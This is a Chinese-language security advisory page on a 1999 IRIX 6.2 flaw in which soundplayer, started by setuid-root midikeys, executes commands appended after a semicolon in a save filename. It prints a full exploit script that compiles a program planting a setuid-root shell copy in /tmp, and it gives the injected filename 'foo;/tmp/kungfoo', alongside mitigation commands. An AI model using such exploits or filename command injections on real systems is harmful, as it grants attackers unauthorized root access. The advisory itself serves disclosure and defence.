首页 -> 安全研究

安全研究

安全漏洞
IRIX midikeys/soundplayer漏洞

发布日期:2000-01-02
更新日期:2000-01-02

受影响系统:
SGI IRIX 6.2
描述:

SGI的Irix操作系统中有一个X11程序'soundplayer',它是用来播放.WAV文件的.它本身没有
被设置setuid root位.但是如果它被midikeys调用的话,它将继承root权限.因为在一些老
一点的IRIX系统中,midikeys被设置了setuid位.Soundplayer没有正确检查输入数据的合法
性.当用soundplayer保存一个文件到硬盘时,如果在合法文件名的后面增加一个";"号,那么
分号后的内容将作为一个命令被执行(不能带空格),这个命令将以soudplayer的权限运行(可
能是root).如果soundplayer通过设置了setuid root的midikeys被运行,本地用户可能获得
root权限.


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/bin/sh
#
# Irix 6.x soundplayer xploit - Loneguard 20/02/99
#
# Good example of how bad coding in a non-setuid/priviledged process
# can offer up rewt
#
cat > /tmp/crazymonkey.c << 'EOF'
main() {
    setuid(0);
    system("cp /bin/csh /tmp/xsh;chmod 4755 /tmp/xsh");
}
EOF
cc -o /tmp/kungfoo crazymonkey.c
/usr/sbin/midikeys &
echo "You should now see the midikeys window, goto the menu that allows you to play sounds and load a wav. This will bring up a soundplayer window. Save the wav as 'foo;/tmp/kungfoo' and go find a rewt shell in tmp"


建议:
临时解决办法:

   chmod a-s /usr/sbin/midikeys
   chmod a-x soundplay

浏览次数:6777
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障